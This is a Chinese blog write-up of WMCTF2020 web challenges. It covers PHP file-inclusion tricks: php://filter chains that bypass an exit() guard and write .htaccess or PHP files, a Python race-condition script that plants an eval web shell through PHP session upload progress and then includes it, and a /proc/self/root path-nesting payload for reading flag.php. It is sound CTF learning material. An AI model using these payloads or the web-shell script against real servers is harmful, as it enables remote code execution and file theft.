WMCTF2020

2020-08-04 17:08:00
ctf - wmctf

SU的师傅们太顶了,全程被带飞,贡献度为0 XD

其他的题目环境下了+自己太菜了来不及复现。

web_checkin(v1)

<?php
highlight_file(__FILE__);
require_once 'flag.php';
if(isset($_GET['file'])) {
  require_once $_GET['file'];
}

v1版本是出题人忘记改flag位置了,变成送分题,payload:

http://web_checkin.wmctf.wetolink.com/?content=/flag

web_checkin(v2)

这道题非预期用的是跑临时文件,不过后面出题人给ban掉了。

v2版本考的一个点比较容易被忽略,先看源码:

<?php
//PHP 7.0.33 Apache/2.4.25
error_reporting(0);
$sandbox = '/var/www/html/' . md5($_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);
highlight_file(__FILE__);
if(isset($_GET['content'])) {
    $content = $_GET['content'];
    if(preg_match('/iconv|UCS|UTF|rot|quoted|base64/i',$content))
         die('hacker');
    if(file_exists($content))
        require_once($content);
    file_put_contents($content,'<?php exit();'.$content);
}

这个死亡exit的绕过p神发过一篇文章里面有提到使用filter来绕过:

谈一谈php://filter的妙用

那么到这里就可以往文件里面写东西并且绕过exit:

?content=php://filter/write=string.strip_tags/some_thing/resource=1.php

因为一直想用base64,我就想起来hatccess可以使用伪协议来包含文件,并且可以用\来换行绕过,于是就有了:

?content=php://filter/write=string.strip_tags/?>AddType application/x-httpd-php .jpg%0aphp_value auto_append_file 'php://filter/convert.ba\%0Ase64-decode/reso\%0Aurce=a.jpg'%0A%23/resource=.htaccess

本地写出来这么个东西:

AddType application/x-httpd-php .jpg
php_value auto_append_file 'php://filter/convert.ba\
se64-decode/reso\
urce=a.jpg'
#/resource=.htaccess

然而问题出在了string.strip_tags,在php7.0会出现段错误,于是前面的想法完全没用,后面又想了跑临时文件什么的,但都不成功。。


这道题有一个利用的点是file_put_contents会进行一次url解码,那么就是用双编码绕过了。

但是这道题过滤了%25,然而双编码后会大量出现%25,无法绕过,又是一个利用点就是可以手动构造双编码的url。

如:

%5%35-》%55-》U

这里是因为%5是无法再次解码了,而%35解出来是5,构成了%55,再次解码得到U,但是因为这里的require_once不会解码,还是读不到东西的。

还有一个点就是利用:

?content=php://filter/zlib.deflate|string.tolower|zlib.inflate|?>%0a<?php%0aphpinfo();?>/resource=123.php

写出来的东西是这个样子的:

<?php@�xit();php://fil|mr/zlib.lmfla|m|s|ring.|olowmr|zlib.infla|m|?>
<?php
phpinfo();
?>
/re�/re�/re�/re�/re�/re�/re�/re�/re�/re�/re�/re�/re�/re�/re�/re�/re�/re�/re�/re�/re�/re�/re�/re�/re�/re�/re�/re�/re�/re�/re�/re�/re�/re�/re�/re�/re�/re�/re�/re�/re�/re�/re�/re��=123./

因为题目下架了就没测试,虽然本地测试也不通过,不过也算是一个trick,等着看官方wp了。

Make PHP Great Again(v1)

<?php
highlight_file(__FILE__);
require_once 'flag.php';
if(isset($_GET['file'])) {
  require_once $_GET['file'];
}

因为flag是在flag.php,没法直接读,用了require_once导致flag.php用伪协议也读不到。

v1版本是存在着非预期的,是老套路了,session.upload_progress,我刚入门不久gq师傅就拿着这个给我做,时间有点长都忘记了。

https://www.freebuf.com/vuls/202819.html 脚本改下地址就能打了。

import io
import requests
import threading
sessid = 'TGAO'
data = {"cmd":"system('cat flag.php');"}
def write(session):
    while True:
        f = io.BytesIO(b'a' * 1024 * 50)
        resp = session.post('http://no_body_knows_php_better_than_me.glzjin.wmctf.wetolink.com', data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST["cmd"]);?>'}, files={'file': ('tgao.txt',f)}, cookies={'PHPSESSID': sessid} )
def read(session):
    while True:
        resp = session.post('http://no_body_knows_php_better_than_me.glzjin.wmctf.wetolink.com/index.php?file=/tmp/sess_'+sessid,data=data)
        if 'tgao.txt' in resp.text:
            print(resp.text)
            event.clear()
        else:
            print("[+++++++++++++]retry")
if __name__=="__main__":
    event=threading.Event()
    with requests.session() as session:
        for i in range(1,30): 
            threading.Thread(target=write,args=(session,)).start()
        for i in range(1,30):
            threading.Thread(target=read,args=(session,)).start()
    event.set()

利用的是条件竞争,上传一个足够大的文件增加session文件的存在时间使得包含成功。

Make PHP Great Again(v2)

payload:

http://no_body_knows_php_better_than_me.glzjin.wmctf.wetolink.com/?file=php://filter/read=convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

v2版本这个点是真难找啊,rmb师傅是真滴强,是用/proc/self/root套娃,在套到一定次数时就会停止读符号链接了,测试了一下是21个就能绕过了。



本文原创于HhhM的博客,转载请标明出处。



CopyRight © 2019 HhhM
Power By Django & Bootstrap
已运行
粤ICP备19064649号